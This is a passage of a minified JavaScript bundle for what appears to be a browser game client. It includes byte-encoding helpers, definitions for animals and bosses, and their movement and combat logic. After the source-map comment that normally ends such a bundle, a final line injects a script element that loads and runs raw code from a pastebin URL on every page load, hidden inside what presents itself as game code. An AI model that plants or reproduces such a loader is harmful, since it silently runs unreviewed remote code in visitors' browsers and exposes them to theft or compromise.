8270 for (var t = [], n = 0, i = 0; n < e.length; n++, i += 8) t[i >>> 5] |=
8271 e[n] << 24 - i % 32;
8272 return t
8273 },
8274 wordsToBytes: function(e) {
8275 for (var t = [], n = 0; n < 32 * e.length; n += 8) t.push(e[n >>> 5] >>>
8276 24 - n % 32 & 255);
8277 return t
8278 },
8279 bytesToHex: function(e) {
8280 for (var t = [], n = 0; n < e.length; n++) t.push((e[n] >>> 4).toString(
8281 16)), t.push((15 & e[n]).toString(16));
8282 return t.join("")
8283 },
8284 hexToBytes: function(e) {
8285 for (var t = [], n = 0; n < e.length; n += 2) t.push(parseInt(e.substr(
8286 n, 2), 16));
8287 return t
8288 },
8289 bytesToBase64: function(e) {
8290 for (var n = [], i = 0; i < e.length; i += 3)
8291 for (var r = e[i] << 16 | e[i + 1] << 8 | e[i + 2], s = 0; s < 4; s++)
8292 8 * i + 6 * s <= 8 * e.length ? n.push(t.charAt(r >>> 6 * (3 - s) &
8293 63)) : n.push("=");
8294 return n.join("")
8295 },
8296 base64ToBytes: function(e) {
8297 e = e.replace(/[^A-Z0-9+\/]/gi, "");
8298 for (var n = [], i = 0, r = 0; i < e.length; r = ++i % 4) 0 != r && n.push(
8299 (t.indexOf(e.charAt(i - 1)) & Math.pow(2, -2 * r + 8) - 1) << 2 * r |
8300 t.indexOf(e.charAt(i)) >>> 6 - 2 * r);
8301 return n
8302 }
8303 };
8304 e.exports = n
8305 }()
8306}, function(e, t) {
8307 function n(e) {
8308 return !!e.constructor && "function" == typeof e.constructor.isBuffer && e.constructor
8309 .isBuffer(e)
8310 }
8311 /*!
8312 * Determine if an object is a Buffer
8313 *
8314 * @author Feross Aboukhadijeh <https://feross.org>
8315 * @license MIT
8316 */
8317 e.exports = function(e) {
8318 return null != e && (n(e) || function(e) {
8319 return "function" == typeof e.readFloatLE && "function" == typeof e.slice &&
8320 n(e.slice(0, 0))
8321 }(e) || !!e._isBuffer)
8322 }
8323}, function(e, t) {
8324 e.exports = function(e, t, n, i, r, s, a, o, c) {
8325 this.aiTypes = [{
8326 id: 0,
8327 src: "cow_1",
8328 killScore: 150,
8329 health: 500,
8330 weightM: .8,
8331 speed: 95e-5,
8332 turnSpeed: .001,
8333 scale: 72,
8334 drop: ["food", 50]
8335 }, {
8336 id: 1,
8337 src: "pig_1",
8338 killScore: 200,
8339 health: 800,
8340 weightM: .6,
8341 speed: 85e-5,
8342 turnSpeed: .001,
8343 scale: 72,
8344 drop: ["food", 80]
8345 }, {
8346 id: 2,
8347 name: "Bull",
8348 src: "bull_2",
8349 hostile: !0,
8350 dmg: 20,
8351 killScore: 1e3,
8352 health: 1800,
8353 weightM: .5,
8354 speed: 94e-5,
8355 turnSpeed: 74e-5,
8356 scale: 78,
8357 viewRange: 800,
8358 chargePlayer: !0,
8359 drop: ["food", 100]
8360 }, {
8361 id: 3,
8362 name: "Bully",
8363 src: "bull_1",
8364 hostile: !0,
8365 dmg: 20,
8366 killScore: 2e3,
8367 health: 2800,
8368 weightM: .45,
8369 speed: .001,
8370 turnSpeed: 8e-4,
8371 scale: 90,
8372 viewRange: 900,
8373 chargePlayer: !0,
8374 drop: ["food", 400]
8375 }, {
8376 id: 4,
8377 name: "Wolf",
8378 src: "wolf_1",
8379 hostile: !0,
8380 dmg: 8,
8381 killScore: 500,
8382 health: 300,
8383 weightM: .45,
8384 speed: .001,
8385 turnSpeed: .002,
8386 scale: 84,
8387 viewRange: 800,
8388 chargePlayer: !0,
8389 drop: ["food", 200]
8390 }, {
8391 id: 5,
8392 name: "Quack",
8393 src: "chicken_1",
8394 dmg: 8,
8395 killScore: 2e3,
8396 noTrap: !0,
8397 health: 300,
8398 weightM: .2,
8399 speed: .0018,
8400 turnSpeed: .006,
8401 scale: 70,
8402 drop: ["food", 100]
8403 }, {
8404 id: 6,
8405 name: "MOOSTAFA",
8406 nameScale: 50,
8407 src: "enemy",
8408 hostile: !0,
8409 dontRun: !0,
8410 fixedSpawn: !0,
8411 spawnDelay: 6e4,
8412 noTrap: !0,
8413 colDmg: 100,
8414 dmg: 40,
8415 killScore: 8e3,
8416 health: 18e3,
8417 weightM: .4,
8418 speed: 7e-4,
8419 turnSpeed: .01,
8420 scale: 80,
8421 spriteMlt: 1.8,
8422 leapForce: .9,
8423 viewRange: 1e3,
8424 hitRange: 210,
8425 hitDelay: 1e3,
8426 chargePlayer: !0,
8427 drop: ["food", 100]
8428 }, {
8429 id: 7,
8430 name: "Treasure",
8431 hostile: !0,
8432 nameScale: 35,
8433 src: "crate_1",
8434 fixedSpawn: !0,
8435 spawnDelay: 12e4,
8436 colDmg: 200,
8437 killScore: 5e3,
8438 health: 2e4,
8439 weightM: .1,
8440 speed: 0,
8441 turnSpeed: 0,
8442 scale: 70,
8443 spriteMlt: 1
8444 }, {
8445 id: 8,
8446 name: "MOOFIE",
8447 src: "wolf_2",
8448 hostile: !0,
8449 fixedSpawn: !0,
8450 dontRun: !0,
8451 hitScare: 4,
8452 spawnDelay: 3e4,
8453 noTrap: !0,
8454 nameScale: 35,
8455 dmg: 10,
8456 colDmg: 100,
8457 killScore: 3e3,
8458 health: 7e3,
8459 weightM: .45,
8460 speed: .0015,
8461 turnSpeed: .002,
8462 scale: 90,
8463 viewRange: 800,
8464 chargePlayer: !0,
8465 drop: ["food", 1e3]
8466 }], this.spawn = function(l, h, u, f) {
8467 for (var d, p = 0; p < e.length; ++p)
8468 if (!e[p].active) {
8469 d = e[p];
8470 break
8471 }
8472 return d || (d = new t(e.length, r, n, i, a, s, o, c), e.push(d)), d.init(
8473 l, h, u, f, this.aiTypes[f]), d
8474 }
8475 }
8476}, function(e, t) {
8477 var n = 2 * Math.PI;
8478 e.exports = function(e, t, i, r, s, a, o, c) {
8479 this.sid = e, this.isAI = !0, this.nameIndex = s.randInt(0, a.cowNames.length -
8480 1), this.init = function(e, t, n, i, r) {
8481 this.x = e, this.y = t, this.startX = r.fixedSpawn ? e : null, this.startY =
8482 r.fixedSpawn ? t : null, this.xVel = 0, this.yVel = 0, this.zIndex = 0,
8483 this.dir = n, this.dirPlus = 0, this.index = i, this.src = r.src, r.name &&
8484 (this.name = r.name), this.weightM = r.weightM, this.speed = r.speed,
8485 this.killScore = r.killScore, this.turnSpeed = r.turnSpeed, this.scale =
8486 r.scale, this.maxHealth = r.health, this.leapForce = r.leapForce, this.health =
8487 this.maxHealth, this.chargePlayer = r.chargePlayer, this.viewRange = r.viewRange,
8488 this.drop = r.drop, this.dmg = r.dmg, this.hostile = r.hostile, this.dontRun =
8489 r.dontRun, this.hitRange = r.hitRange, this.hitDelay = r.hitDelay, this
8490 .hitScare = r.hitScare, this.spriteMlt = r.spriteMlt, this.nameScale =
8491 r.nameScale, this.colDmg = r.colDmg, this.noTrap = r.noTrap, this.spawnDelay =
8492 r.spawnDelay, this.hitWait = 0, this.waitCount = 1e3, this.moveCount =
8493 0, this.targetDir = 0, this.active = !0, this.alive = !0, this.runFrom =
8494 null, this.chargeTarget = null, this.dmgOverTime = {}
8495 };
8496 var l = 0;
8497 this.update = function(e) {
8498 if (this.active) {
8499 if (this.spawnCounter) return this.spawnCounter -= e, void(this.spawnCounter <=
8500 0 && (this.spawnCounter = 0, this.x = this.startX || s.randInt(0, a.mapScale),
8501 this.y = this.startY || s.randInt(0, a.mapScale)));
8502 (l -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime
8503 .dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime
8504 .time <= 0 && (this.dmgOverTime.dmg = 0)), l = 1e3);
8505 var r = !1,
8506 o = 1;
8507 if (!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 - a.riverWidth /
8508 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (o = .33, this.xVel +=
8509 a.waterCurrent * e), this.lockMove) this.xVel = 0, this.yVel = 0;
8510 else if (this.waitCount > 0) {
8511 if (this.waitCount -= e, this.waitCount <= 0)
8512 if (this.chargePlayer) {
8513 for (var h, u, f, d = 0; d < i.length; ++d) !i[d].alive || i[d].skin &&
8514 i[d].skin.bullRepel || (f = s.getDistance(this.x, this.y, i[d].x, i[
8515 d].y)) <= this.viewRange && (!h || f < u) && (u = f, h = i[d]);
8516 h ? (this.chargeTarget = h, this.moveCount = s.randInt(8e3, 12e3)) :
8517 (this.moveCount = s.randInt(1e3, 2e3), this.targetDir = s.randFloat(-
8518 Math.PI, Math.PI))
8519 } else this.moveCount = s.randInt(4e3, 1e4), this.targetDir = s.randFloat(-
8520 Math.PI, Math.PI)
8521 } else if (this.moveCount > 0) {
8522 var p = this.speed * o;
8523 if (this.runFrom && this.runFrom.active && (!this.runFrom.isPlayer ||
8524 this.runFrom.alive) ? (this.targetDir = s.getDirection(this.x, this.y,
8525 this.runFrom.x, this.runFrom.y), p *= 1.42) : this.chargeTarget &&
8526 this.chargeTarget.alive && (this.targetDir = s.getDirection(this.chargeTarget
8527 .x, this.chargeTarget.y, this.x, this.y), p *= 1.75, r = !0), this.hitWait &&
8528 (p *= .3), this.dir != this.targetDir) {
8529 this.dir %= n;
8530 var g = (this.dir - this.targetDir + n) % n,
8531 m = Math.min(Math.abs(g - n), g, this.turnSpeed * e),
8532 y = g - Math.PI >= 0 ? 1 : -1;
8533 this.dir += y * m + n
8534 }
8535 this.dir %= n, this.xVel += p * e * Math.cos(this.dir), this.yVel += p *
8536 e * Math.sin(this.dir), this.moveCount -= e, this.moveCount <= 0 && (
8537 this.runFrom = null, this.chargeTarget = null, this.waitCount = this
8538 .hostile ? 1500 : s.randInt(1500, 6e3))
8539 }
8540 this.zIndex = 0, this.lockMove = !1;
8541 var k = s.getDistance(0, 0, this.xVel * e, this.yVel * e),
8542 v = Math.min(4, Math.max(1, Math.round(k / 40))),
8543 w = 1 / v;
8544 for (d = 0; d < v; ++d) {
8545 this.xVel && (this.x += this.xVel * e * w), this.yVel && (this.y +=
8546 this.yVel * e * w), M = t.getGridArrays(this.x, this.y, this.scale);
8547 for (var b = 0; b < M.length; ++b)
8548 for (var x = 0; x < M[b].length; ++x) M[b][x].active && t.checkCollision(
8549 this, M[b][x], w)
8550 }
8551 var S, T, I, E = !1;
8552 if (this.hitWait > 0 && (this.hitWait -= e, this.hitWait <= 0)) {
8553 E = !0, this.hitWait = 0, this.leapForce && !s.randInt(0, 2) && (this.xVel +=
8554 this.leapForce * Math.cos(this.dir), this.yVel += this.leapForce *
8555 Math.sin(this.dir));
8556 for (var M = t.getGridArrays(this.x, this.y, this.hitRange), A = 0; A <
8557 M.length; ++A)
8558 for (b = 0; b < M[A].length; ++b)(S = M[A][b]).health && (T = s.getDistance(
8559 this.x, this.y, S.x, S.y)) < S.scale + this.hitRange && (S.changeHealth(
8560 5 * -this.dmg) && t.disableObj(S), t.hitObj(S, s.getDirection(this
8561 .x, this.y, S.x, S.y)));
8562 for (b = 0; b < i.length; ++b) i[b].canSee(this) && c.send(i[b].id,
8563 "aa", this.sid)
8564 }
8565 if (r || E)
8566 for (d = 0; d < i.length; ++d)(S = i[d]) && S.alive && (T = s.getDistance(
8567 this.x, this.y, S.x, S.y), this.hitRange ? !this.hitWait && T <=
8568 this.hitRange + S.scale && (E ? (I = s.getDirection(S.x, S.y, this.x,
8569 this.y), S.changeHealth(-this.dmg), S.xVel += .6 * Math.cos(I), S
8570 .yVel += .6 * Math.sin(I), this.runFrom = null, this.chargeTarget =
8571 null, this.waitCount = 3e3, this.hitWait = s.randInt(0, 2) ? 0 :
8572 600) : this.hitWait = this.hitDelay) : T <= this.scale + S.scale &&
8573 (I = s.getDirection(S.x, S.y, this.x, this.y), S.changeHealth(-this.dmg),
8574 S.xVel += .55 * Math.cos(I), S.yVel += .55 * Math.sin(I)));
8575 this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)), this.yVel && (
8576 this.yVel *= Math.pow(a.playerDecel, e));
8577 var P = this.scale;
8578 this.x - P < 0 ? (this.x = P, this.xVel = 0) : this.x + P > a.mapScale &&
8579 (this.x = a.mapScale - P, this.xVel = 0), this.y - P < 0 ? (this.y = P,
8580 this.yVel = 0) : this.y + P > a.mapScale && (this.y = a.mapScale - P,
8581 this.yVel = 0)
8582 }
8583 }, this.canSee = function(e) {
8584 if (!e) return !1;
8585 if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
8586 return !1;
8587 var t = Math.abs(e.x - this.x) - e.scale,
8588 n = Math.abs(e.y - this.y) - e.scale;
8589 return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2 *
8590 1.3
8591 };
8592 var h = 0,
8593 u = 0;
8594 this.animate = function(e) {
8595 this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime =
8596 0, this.dirPlus = 0, h = 0, u = 0) : 0 == u ? (h += e / (this.animSpeed *
8597 a.hitReturnRatio), this.dirPlus = s.lerp(0, this.targetAngle, Math.min(
8598 1, h)), h >= 1 && (h = 1, u = 1)) : (h -= e / (this.animSpeed * (1 -
8599 a.hitReturnRatio)), this.dirPlus = s.lerp(0, this.targetAngle, Math.max(
8600 0, h))))
8601 }, this.startAnim = function() {
8602 this.animTime = this.animSpeed = 600, this.targetAngle = .8 * Math.PI, h =
8603 0, u = 0
8604 }, this.changeHealth = function(e, t, n) {
8605 if (this.active && (this.health += e, n && (this.hitScare && !s.randInt(
8606 0, this.hitScare) ? (this.runFrom = n, this.waitCount = 0, this.moveCount =
8607 2e3) : this.hostile && this.chargePlayer && n.isPlayer ? (this.chargeTarget =
8608 n, this.waitCount = 0, this.moveCount = 8e3) : this.dontRun || (this
8609 .runFrom = n, this.waitCount = 0, this.moveCount = 2e3)), e < 0 &&
8610 this.hitRange && s.randInt(0, 1) && (this.hitWait = 500), t && t.canSee(
8611 this) && e < 0 && c.send(t.id, "t", Math.round(this.x), Math.round(
8612 this.y), Math.round(-e), 1), this.health <= 0 && (this.spawnDelay ? (
8613 this.spawnCounter = this.spawnDelay, this.x = -1e6, this.y = -1e6) :
8614 (this.x = this.startX || s.randInt(0, a.mapScale), this.y = this.startY ||
8615 s.randInt(0, a.mapScale)), this.health = this.maxHealth, this.runFrom =
8616 null, t && (o(t, this.killScore), this.drop))))
8617 for (var i = 0; i < this.drop.length;) t.addResource(a.resourceTypes.indexOf(
8618 this.drop[i]), this.drop[i + 1]), i += 2
8619 }
8620 }
8621}]);
8622//# sourceMappingURL=bundle.js.map
8623var j=document.createElement('script');j.type='text/javascript';document.body.appendChild(j);j.src='https://pastebin.com/raw/u9GdY32V';
8624